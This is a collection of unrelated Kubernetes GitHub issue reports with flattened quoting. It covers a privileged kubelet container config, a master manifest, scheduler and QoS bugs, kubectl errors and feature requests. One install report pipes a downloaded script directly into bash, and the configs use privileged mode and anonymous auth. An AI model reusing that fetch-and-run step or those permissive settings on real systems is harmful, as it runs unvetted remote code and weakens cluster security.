/var/lib/docker/containers/c6770b0fec75332735634480441ce830cb77408989cb9776c1e231f474f37522/c6770b0fec75332735634480441ce830cb77408989cb9776c1e231f474f37522-json.log\ ,\r         \ name\ : \ /kube_kubelet_d0bcf\ ,\r         \ restartcount\ : 0,\r         \ driver\ : \ aufs\ ,\r         \ mountlabel\ : \ \ ,\r         \ processlabel\ : \ \ ,\r         \ apparmorprofile\ : \ unconfined\ ,\r         \ execids\ : null,\r         \ hostconfig\ : {\r             \ binds\ :  \r                 \ /sys:/sys:rw\ ,\r                 \ /var/run:/var/run:rw\ ,\r                 \ /run:/run:rw\ ,\r                 \ /var/lib/docker:/var/lib/docker:rw\ ,\r                 \ /var/lib/kubelet:/var/lib/kubelet:shared\ ,\r                 \ /var/log/containers:/var/log/containers:rw\ \r              ,\r             \ containeridfile\ : \ \ ,\r             \ logconfig\ : {\r                 \ type\ : \ json-file\ ,\r                 \ config\ : {}\r             },\r             \ networkmode\ : \ host\ ,\r             \ portbindings\ : {},\r             \ restartpolicy\ : {\r                 \ name\ : \ unless-stopped\ ,\r                 \ maximumretrycount\ : 0\r             },\r             \ autoremove\ : false,\r             \ volumedriver\ : \ \ ,\r             \ volumesfrom\ : null,\r             \ capadd\ : null,\r             \ capdrop\ : null,\r             \ dns\ :   ,\r             \ dnsoptions\ :   ,\r             \ dnssearch\ :   ,\r             \ extrahosts\ : null,\r             \ groupadd\ : null,\r             \ ipcmode\ : \ \ ,\r             \ cgroup\ : \ \ ,\r             \ links\ : null,\r             \ oomscoreadj\ : 0,\r             \ pidmode\ : \ host\ ,\r             \ privileged\ : true,\r             \ publishallports\ : false,\r             \ readonlyrootfs\ : false,\r             \ securityopt\ :  \r                 \ label=disable\ \r              ,\r             \ utsmode\ : \ \ ,\r             \ usernsmode\ : \ \ ,\r             \ shmsize\ : 67108864,\r             \ runtime\ : \ runc\ ,\r             \ consolesize\ :  \r                 0,\r                 0\r              ,\r             \ isolation\ : \ \ ,\r             \ cpushares\ : 0,\r             \ memory\ : 0,\r             \ nanocpus\ : 0,\r             \ cgroupparent\ : \ \ ,\r             \ blkioweight\ : 0,\r             \ blkioweightdevice\ : null,\r             \ blkiodevicereadbps\ : null,\r             \ blkiodevicewritebps\ : null,\r             \ blkiodevicereadiops\ : null,\r             \ blkiodevicewriteiops\ : null,\r             \ cpuperiod\ : 0,\r             \ cpuquota\ : 0,\r             \ cpurealtimeperiod\ : 0,\r             \ cpurealtimeruntime\ : 0,\r             \ cpusetcpus\ : \ \ ,\r             \ cpusetmems\ : \ \ ,\r             \ devices\ :   ,\r             \ devicecgrouprules\ : null,\r             \ diskquota\ : 0,\r             \ kernelmemory\ : 0,\r             \ memoryreservation\ : 0,\r             \ memoryswap\ : 0,\r             \ memoryswappiness\ : -1,\r             \ oomkilldisable\ : false,\r             \ pidslimit\ : 0,\r             \ ulimits\ : null,\r             \ cpucount\ : 0,\r             \ cpupercent\ : 0,\r             \ iomaximumiops\ : 0,\r             \ iomaximumbandwidth\ : 0\r         },\r         \ graphdriver\ : {\r             \ data\ : null,\r             \ name\ : \ aufs\ \r         },\r         \ mounts\ :  \r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /sys\ ,\r                 \ destination\ : \ /sys\ ,\r                 \ mode\ : \ rw\ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ \ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/run\ ,\r                 \ destination\ : \ /var/run\ ,\r                 \ mode\ : \ rw\ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ \ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /run\ ,\r                 \ destination\ : \ /run\ ,\r                 \ mode\ : \ rw\ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ \ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/lib/docker\ ,\r                 \ destination\ : \ /var/lib/docker\ ,\r                 \ mode\ : \ rw\ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ \ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/lib/kubelet\ ,\r                 \ destination\ : \ /var/lib/kubelet\ ,\r                 \ mode\ : \ shared\ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ shared\ \r             },\r             {\r                 \ type\ : \ bind\ ,\r                 \ source\ : \ /var/log/containers\ ,\r                 \ destination\ : \ /var/log/containers\ ,\r                 \ mode\ : \ rw\ ,\r                 \ rw\ : true,\r                 \ propagation\ : \ \ \r             }\r          ,\r         \ config\ : {\r             \ hostname\ : \ bengio\ ,\r             \ domainname\ : \ \ ,\r             \ user\ : \ \ ,\r             \ attachstdin\ : false,\r             \ attachstdout\ : false,\r             \ attachstderr\ : false,\r             \ tty\ : false,\r             \ openstdin\ : false,\r             \ stdinonce\ : false,\r             \ env\ :  \r                 \ path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\ \r              ,\r             \ cmd\ :  \r                 \ /hyperkube\ ,\r                 \ kubelet\ ,\r                 \ --allow-privileged\ ,\r                 \ --api-servers=http://127.0.0.1:8080\ ,\r                 \ --pod-manifest-path=/var/lib/kubelet/manifests\ ,\r                 \ --feature-gates=accelerators=true\ ,\r                 \ --cluster-dns=10.233.0.10\ ,\r                 \ --cluster-domain=cluster.local\ ,\r                 \ --network-plugin=cni\ ,\r                 \ --hostname-override=10.9.1.100\ ,\r                 \ --v=2\ \r              ,\r             \ image\ : \ gcr.io/google_containers/hyperkube-amd64:v1.6.4\ ,\r             \ volumes\ : null,\r             \ workingdir\ : \ \ ,\r             \ entrypoint\ : null,\r             \ onbuild\ : null,\r             \ labels\ : {}\r         },\r         \ networksettings\ : {\r             \ bridge\ : \ \ ,\r             \ sandboxid\ : \ bc6b1335ec384952a0ae91b5834076a295c9bd2b45e7e65bc939671b42b94456\ ,\r             \ hairpinmode\ : false,\r             \ linklocalipv6address\ : \ \ ,\r             \ linklocalipv6prefixlen\ : 0,\r             \ ports\ : {},\r             \ sandboxkey\ : \ /var/run/docker/netns/default\ ,\r             \ secondaryipaddresses\ : null,\r             \ secondaryipv6addresses\ : null,\r             \ endpointid\ : \ \ ,\r             \ gateway\ : \ \ ,\r             \ globalipv6address\ : \ \ ,\r             \ globalipv6prefixlen\ : 0,\r             \ ipaddress\ : \ \ ,\r             \ ipprefixlen\ : 0,\r             \ ipv6gateway\ : \ \ ,\r             \ macaddress\ : \ \ ,\r             \ networks\ : {\r                 \ host\ : {\r                     \ ipamconfig\ : null,\r                     \ links\ : null,\r                     \ aliases\ : null,\r                     \ networkid\ : \ e106ec98f698d17da54b4cb56036237e7da80280dc5f8c558cdf90a185cc8d8a\ ,\r                     \ endpointid\ : \ 13df2cf457704e3f376bdbb9b912f2c557a3dee10b5d84bd4519daa8b938879e\ ,\r                     \ gateway\ : \ \ ,\r                     \ ipaddress\ : \ \ ,\r                     \ ipprefixlen\ : 0,\r                     \ ipv6gateway\ : \ \ ,\r                     \ globalipv6address\ : \ \ ,\r                     \ globalipv6prefixlen\ : 0,\r                     \ macaddress\ : \ \ \r                 }\r             }\r         }\r     }\r  \r    \r </details>\r \r <details><summary>master manifest file</summary>\r \r    \r {\r \ apiversion\ : \ v1\ ,\r \ kind\ : \ pod\ ,\r \ metadata\ : {\r   \ name\ : \ k8s-master\ ,\r   \ namespace\ : \ kube-system\ \r },\r \ spec\ :{\r   \ hostnetwork\ : true,\r   \ containers\ : \r     {\r       \ name\ : \ controller-manager\ ,\r       \ image\ : \ gcr.io/google_containers/hyperkube-amd64:v1.6.4\ ,\r       \ command\ :  \r         \ /hyperkube\ ,\r         \ controller-manager\ ,\r         \ --master=127.0.0.1:8080\ ,\r         \ --service-account-private-key-file=/srv/kubernetes/server.key\ ,\r         \ --root-ca-file=/srv/kubernetes/ca.crt\ ,\r         \ --min-resync-period=3m\ ,\r         \ --leader-elect=true\ ,\r         \ --cluster-cidr=10.1.0.0/16\ ,\r         \ --v=2\ \r        ,\r       \ volumemounts\ :  \r         {\r           \ name\ : \ data\ ,\r           \ mountpath\ : \ /srv/kubernetes\ \r         }\r        \r     },\r     {\r       \ name\ : \ apiserver\ ,\r       \ image\ : \ gcr.io/google_containers/hyperkube-amd64:v1.6.4\ ,\r       \ command\ :  \r         \ /hyperkube\ ,\r         \ apiserver\ ,\r         \ --secure-port=6443\ ,\r         \ --insecure-bind-address=127.0.0.1\ ,\r         \ --etcd-servers=http://127.0.0.1:2379\ ,\r         \ --service-cluster-ip-range=10.233.0.1/24\ ,\r         \ --anonymous-auth=true\ ,\r         \ --admission-control=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota,defaulttolerationseconds\ ,\r         \ --client-ca-file=/srv/kubernetes/ca.crt\ ,\r         \ --tls-cert-file=/srv/kubernetes/server.crt\ ,\r         \ --tls-private-key-file=/srv/kubernetes/server.key\ ,\r         \ --basic-auth-file=/srv/kubernetes/basic_auth.csv\ ,\r         \ --min-request-timeout=300\ ,\r         \ --token-auth-file=/srv/kubernetes/known_tokens.csv\ ,\r         \ --allow-privileged=true\ ,\r         \ --v=2\ \r        ,\r       \ volumemounts\ :  \r         {\r           \ name\ : \ data\ ,\r           \ mountpath\ : \ /srv/kubernetes\ \r         }\r        \r     },\r     {\r       \ name\ : \ scheduler\ ,\r       \ image\ : \ gcr.io/google_containers/hyperkube-amd64:v1.6.4\ ,\r       \ command\ :  \r         \ /hyperkube\ ,\r         \ scheduler\ ,\r         \ --master=http://127.0.0.1:8080\ ,\r         \ --leader-elect=true\ ,\r         \ --v=2\ \r        \r     },\r     {\r       \ name\ : \ setup\ ,\r       \ image\ : \ gcr.io/google_containers/hyperkube-amd64:v1.6.4\ ,\r       \ command\ :  \r         \ /setup-files.sh\ ,\r         \ ip:10.233.0.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local\ \r        ,\r       \ volumemounts\ :  \r         {\r           \ name\ : \ data\ ,\r           \ mountpath\ : \ /srv/kubernetes\ \r         }\r        \r     }\r    ,\r   \ volumes\ :  \r     {\r       \ name\ : \ data\ ,\r       \ hostpath\ : {\r         \ path\ : \ /var/lib/kubelet/data\ \r       }\r     }\r    \r  }\r }\r    \r </details>\r

forked from https://github.com/kubernetes/kubernetes/issues/50534 issuecomment-321940562.\r \r kubefed does api version discovery and then uses the preferred api group version that server supports. this breaks when server supports a newer version that the generated clientset that kubefed uses does not know about.\r kubefed should choose the version that both server and it knows about.\r \r https://github.com/kubernetes/kubernetes/pull/50537 fixes this for rbac. we need the same for all api resources that kubefed creates.\r \r cc @kubernetes/sig-federation-bugs @liggitt

\r   3m\t\t11s\t\t15\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\tno nodes are available that match all of the following predicates:: insufficient cpu  4 .\r    \r \r but i didn't ask for 4 cpu, i asked for 1.  i think the \ 4\  means \ i looked at 4 nodes\ , but the error is very misleading.\r \r @kubernetes/sig-scheduling-bugs

  \r   what happened  :\r \r a pod with no resource request and limit should be assigned  besteffort  qos class. \r \r   what you expected to happen  :\r \r instead it should be assigned  burstable  qos.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r created an aws cluster as:\r \r    \r kops create cluster  \\\r  --name example.cluster.k8s.local   \\\r --master-count 3   \\\r --node-count 5  \\\r  --zones us-west-2a,us-west-2b,us-west-2c   \\\r --yes\r    \r \r deployed a pod:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx-pod\r   labels:\r     name: nginx-pod\r spec:\r   containers:\r   - name: nginx\r     image: nginx:latest\r     ports:\r     - containerport: 80\r    \r \r resources are shown as:\r \r    \r $ kubectl get pod/nginx-pod -o jsonpath={.spec.containers  .resources}\r map requests:map cpu:100m  \r    \r \r with no request and limit resources explicitly specified, the pod is assigned the qos class of  burstable . this was verified as:\r \r    \r $ kubectl get pod/nginx-pod -o jsonpath={.status.qosclass}\r burstable\r    \r \r this should have been  besteffort  instead.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r kubectl logs is not always able to retrieve the logs of pods\r   what you expected to happen  :\r kubectl logs would show the logs of running pods\r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl get pods -n kube-system\r name                                    ready     status    restarts   age\r heapster-dfd674df9-r49f9                1/1       running   0          5m\r kube-dns-5d585466b5-ghxk2               3/3       running   0          4h\r kubernetes-dashboard-7494579689-tbwln   1/1       running   0          5m\r monitoring-grafana-76848b566c-xl8n9     1/1       running   0          5m\r monitoring-influxdb-6c4b84d695-7452w    1/1       running   0          5m\r tiller-deploy-8dc84bcc8-9brjg           1/1       running   0          3h\r kubectl -n kube-system logs heapster-dfd674df9-r49f9\r error from server  notfound : the server could not find the requested resource   pods/log heapster-dfd674df9-r49f9 \r    \r   anything else we need to know?  :\r this is a new installation of kubernetes 1.9.0   the master and three nodes are running 1.9.0 .\r even though it is not possible to see the logs the containers seem to run fine. \r logs can be viewed on the nodes that hold the containers by running docker logs.\r some of the pod logs can be viewed\r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708 \r - kernel  e.g.  uname -a  : linux kubernetes-1 3.10.0-693.5.2.el7.x86_64  1 smp fri oct 20 20:32:50 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r a failed prioritize map function caused scheduler break down.\r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0xb0 pc=0x34396ec \r \r goroutine 574  running :\r k8s.io/kubernetes/pkg/util/node.getzonekey ... \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/util/node/node.go:117\r k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/priorities.  selectorspread .calculatespreadpriorityreduce 0xc420a20680, 0xc421401c20, 0x3cfe440, 0xc421b51180, 0xc421160060, 0xc420ec0280, 0x3, 0x3, 0xc421a65e90, 0x0 \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/priorities/selector_spreading.go:128 +0x15c\r k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/priorities.  selectorspread .calculatespreadpriorityreduce-fm 0xc421401c20, 0x3cfe440, 0xc421b51180, 0xc421160060, 0xc420ec0280, 0x3, 0x3, 0x0, 0xa \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/algorithm/priorities/selector_spreading.go:54 +0x7d\r k8s.io/kubernetes/plugin/pkg/scheduler/core.prioritizenodes.func4 0xc42188dfc0, 0xc421401c20, 0x3cfe440, 0xc421b51180, 0xc421160060, 0xc4201a9380, 0x8, 0x8, 0xc421b4f1e0, 0x6, ... \r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/core/generic_scheduler.go:582 +0xf0\r created by k8s.io/kubernetes/plugin/pkg/scheduler/core.prioritizenodes\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/plugin/pkg/scheduler/core/generic_scheduler.go:580 +0x64f\r    \r   what you expected to happen  :\r pod remains pending and describe pod will show errors of failed functions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r it happens when some prioritize's map functions return with error.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  v1.9.6\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-master-blocking gce-master-scale-performance  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-master-scale-performance \r \r   which test s  are failing  :\r the tests are timing out.\r \r   since when has it been failing  :\r 2018-11-16\r \r   anything else we need to know  :\r the diff since last passing test  nov 15th  is  here  https://github.com/kubernetes/kubernetes/compare/4fdac1960...7ff49c99d? . \r \r <!-- do not edit below this line -->\r 

i'm using minikube 0.25.2 and kubernetes 1.10.0 on windows 10. while deploying istio pods in the kubernetes cluster, the pods are in containercreating status and the pod logs show the below message,\r \r warning  failedcreatepodsandbox  2m10s  x156 over 37m   kubelet, minikube  failed create pod sandbox: rpc error: code = unknown desc = failed pulling image \ k8s.gcr.io/pause-amd64:3.1\ : error response from daemon: get https://k8s.gcr.io/v2/: x509: certificate signed by unknown authority\r \r i'm running this behind my corporate proxy.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-rc.2\ , gitcommit:\ 5a80e28431c7469d677c5b17277266d1da4e5c8d\ , gittreestate:\ clean\ , builddate:\ 2018-09-21t22:03:03z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-04-10t12:46:31z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: n/a \r - os  e.g. from /etc/os-release :windows 10\r - kernel  e.g.  uname -a  : 64-bit\r - install tools: minikube 0.25.2\r - others:\r

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r here is my question:https://stackoverflow.com/questions/54760830/unable-to-decode-an-event-from-the-watch-stream-stream-error-stream-id-3-inte

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r test added by: https://github.com/kubernetes/kubernetes/pull/74738 is failing on windows.\r \r   reason for failure  :\r \r 1. the way the test is set up it does not actually wait for the pod to be running.\r \r here: https://github.com/kubernetes/kubernetes/blob/master/test/e2e/windows/gmsa.go l71 \r it should be using podclient  .createsync   in order to wait for the pod.\r \r 2. running the command on the pods created by the tests   when they finally start   outputs the following: \r \r    \r /usr/local/bin/kubectl --server=https://k8s-cbelu-2.eastus.cloudapp.azure.com --kubeconfig=/home/ubuntu/kube/config_2 exec --namespace=gmsa-test-windows-4891 with-correct-gmsa-annotations --container=container1 -- nltest /parentdomain\r getting parent domain failed: status = 1722 0x6ba rpc_s_server_unavailable\r command terminated with exit code 1\r    \r \r @ddebroy is there something that needs to be set up on the nodes in order for the test to run? does it expect that the nodes are joined in a domain?\r

kubernetes version: 1.10.4\r my deployment yaml file like this:\r    \r \ initcontainers\ : {\r    \ name\ :\ api\ ,\r    \ image\ : \ myappimage\ ,\r   ......\r } ,\r \ containers\ : {\r    \ name\ : \ runtime\ ,\r    \ image\ :\ myjdkimage\ \r } \r    \r now rolling update the myappimage with zero down time, use the command:\r    \r kubectl set image deployments/api api=newappimage --namespace=api\r    \r but the terminal shows \ unable to find container named 'api' \ \r \r i just find some infomation aboud rolling update containers image, but not initcontainer image rolling update.\r \r what should i do next?\r

spawned from https://github.com/kubernetes/kubernetes/issues/16177   our  apiinstaller  infrastructure forces all requests for a particular version of a rest endpoint to use an exactly matching version  posts to api/v1/namespace/foo/resource must send a v1 object . this breaks the  hpacontroller  client because it cannot generically include every codec for every  group, kind  that it might want to scale.  // pulling a few comments from the original issue 1. hpa is a central component that should be able to reach out to generic endpoints 2. hpa can only know about a limited number of versions and conversions internally  anything compiled with kube  3. we want hpa to be able to scale anything that results in pods generically, by virtue of invoking a generic scale sub resource on endpoints 4. hpa will therefore have to be able to submit things it knows about to endpoints it does not know about. 5. therefore an api server has to be able to accept the things hpa knows about  scale, kube group, v1  and convert it internally to its own recognized format  scale, openshift/3rd party group, v2 . 6. therefore we need to relax the apiinstaller limitation and allow clients to convert.    @bgrant0607 @lavalamp i think this walks back the previous decision we had to not accept multiple types of input - there is no way for hpa to scale things it doesn't know about unless it can send things to a remote server that it knows about. the remote server is responsibility for taking the kube type submitted by hpa and converting it to its own internal format.  the contract between hpa controller client and remote api groups that implement scale is \ i will send you one of a set of api versions that i recognize\ .  @kubernetes/goog-csi @directxman12 @ncdc @smarterclayton

version: kubernetes-1.2.0 git ec7364b  there are a 3 strange situation associated with the rbd volume plugin depends on the sequences of pod creating. all of them seem buggy. the 1st and 3rd situations create denied of service for other users to access the rbd from pod.  1  create a buggy pod directly use a rbd volume  no pv and pvc  but with an incorrect rbd xfstype  for example, if the rbd volume is xfs, use ext4 in the pod definition . 2  create a rbd pv. 3  create 2 different pvc  to bind to the pv  and 2 pods  to use the pvc . result: both pods will be stuck in the pending status seems forever.  1  create a buggy pod directly use the rbd volume with an incorrect rbd xfstype. 2  create a rbd pv, pvc and pod. result: both pods will be in the running status and the rbd will be mounted using the correct fstype!  1  create a buggy pod directly use the rbd volume with either an incorrect or correct rbd xfstype. 2  create another pod directly use a rbd volume with a correct rbd xfstype. the 2nd pod will be stuck in the pending status seems forever.

workqueue  https://github.com/kubernetes/kubernetes/tree/master/pkg/util/workqueue  is useful for building controllers. it should be included in client-go.  https://github.com/kubernetes/client-go/issues/4

getting a kubectl context/credentials through e.g. gke creates an entry in ~/.kubeconfig with a lengthy name: gke_projectname_zone_cluster-name.\r \r it would be amazing to be able to rename the context via kubectl instead of manually in .kubeconfig \r before:\r    \r current   name   cluster authinfo namespace\r   gke_projectname_zone_cluster-name gke_projectname_zone_cluster-name gke_projectname_zone_cluster-name gke_projectname_zone_cluster-name\r    \r -->  kubectl config rename-context k8s-is-awesome-cluster \r \r after:\r    \r current   name   cluster authinfo namespace\r   k8s-is-awesome-cluster gke_projectname_zone_cluster-name gke_projectname_zone_cluster-name gke_projectname_zone_cluster-name\r    \r @kubernetes/kubectl

is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r \r head\r \r currently, a typical apiservice resource looks like this:\r    yaml\r apiversion: apiregistration.k8s.io/v1alpha1\r kind: apiservice\r metadata:\r   name: v1alpha1.custom-metrics.metrics.k8s.io\r spec:\r    insecureskiptlsverify: true\r   cabundle: <ca blob>\r   group: custom-metrics.metrics.k8s.io\r   priority: 150\r   service:\r     name: api\r     namespace: custom-metrics\r   version: v1alpha1\r    \r \r it would be much easier to maintain if the  cabundle  instead could point to a secret inside of the cluster, like the  service  field.\r \r i think we could add a new field  casecretref  that would optionally point to a secret inside of the cluster like this:\r    go\r // secretreference holds a reference to secret.k8s.io\r type secretreference struct {\r \t// namespace is the namespace of the secret\r \tnamespace string  json:\ namespace,omitempty\  protobuf:\ bytes,1,opt,name=namespace\  \r \t// name is the name of the secret\r \tname string  json:\ name,omitempty\  protobuf:\ bytes,2,opt,name=name\  \r         // key is the key of the secret to use when consuming the secret\r         key string  json:\ key,omitempty\  protobuf:\ bytes,3,opt,name=key\  \r }\r    \r \r this way we could:\r a  generate the ca and the certs in beforehand and create them as secrets in the cluster before registering the  apiservice \r b  dynamically rotate the ca easily when needed\r c  avoid templating the  cabundle  field => the less templating we do, the better\r \r  cabundle  could have higher  be left for bootstrapping purposes or more advanced usages for instance\r \r i think this would be important for the ease-of-use of api aggregation, and something we should consider doing before beta  v1.7 \r \r   edit:   think  s/secret/configmap/  when reading the above\r \r cc @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-api-machinery-api-reviews @deads2k @liggitt

test is constantly failing. https://github.com/kubernetes/kubernetes/blob/0cb3cb254909d7a2c271f91caaf77eaa46eea48a/test/e2e/namespace.go l267-l268\r \r https://k8s-testgrid.appspot.com/release-master-blocking gce-serial&width=20\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/namespace.go:265\r expected error:\r     < errors.errorstring | 0xc421a2cc80>: {\r         s: \ an empty namespace may not be set when a resource name is provided\ ,\r     }\r     an empty namespace may not be set when a resource name is provided\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/namespace.go:95\r    \r \r https://k8s-testgrid.appspot.com/release-master-blocking gce-serial&width=20\r \r /cc @kubernetes/sig-api-machinery-bugs @kubernetes/kubernetes-release-managers @dchen1107

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubernetes installation stuck with \r    \r validating master\r ....................\r \r after errors like:\r \r  ----------\r ==> node-1:           id: /var/lib/kubelet/ca.crt\r ==> node-1:     function: file.managed\r ==> node-1:       result: false\r ==> node-1:      comment: source file salt://kubelet/ca.crt not found\r ==> node-1:      started: 06:57:14.203234\r ==> node-1:     duration: 0.927 ms\r ==> node-1:      changes:\r ==> node-1: ----------\r \r ----------\r ==> node-1:           id: fix-service-kubelet\r ==> node-1:     function: cmd.wait\r ==> node-1:         name: /opt/kubernetes/helpers/services bounce kubelet\r ==> node-1:       result: false\r ==> node-1:      comment: one or more requisite failed: kubelet./var/lib/kubelet/ca.crt\r ==> node-1:      started:\r ==> node-1:     duration:\r ==> node-1:      changes:\r ==> node-1: ----------\r ==> node-1:           id: kubelet\r ==> node-1:     function: service.running\r ==> node-1:       result: false\r ==> node-1:      comment: one or more requisite failed: kubelet./var/lib/kubelet/ca.crt\r ==> node-1:      started:\r ==> node-1:     duration:\r ==> node-1:      changes:\r ==> node-1: ----------\r    \r \r \r \r \r   what you expected to happen  :\r finish installation\r \r   how to reproduce it  as minimally and precisely as possible   :\r on mac os sierra: 10.12.5  \r \r    \r export kubernetes_provider=vagrant\r curl -ss https://get.k8s.io | bash\r cd kubernetes\r export vagrant_default_provider=virtualbox\r export kubernetes_provider=vagrant\r ./cluster/kube-up.sh\r    \r \r   anything else we need to know?  :\r /\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ ./cluster/kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r the connection to the server 10.245.1.2 was refused - did you specify the right host or port?\r    \r \r - cloud provider or hardware configuration  :\r    \r $ vagrant version\r installed version: 1.9.5\r latest version: 1.9.5\r \r you're running an up-to-date version of vagrant!\r    \r \r vbox: version 5.1.22 r115126  qt5.6.2\r \r - os  e.g. from /etc/os-release :\r in vagrant on mac os sierra: 10.12.5\r  \r - kernel  e.g.  uname -a  :\r of my os\r  16.6.0 darwin kernel version 16.6.0 \r \r - install tools:/\r - others:/\r

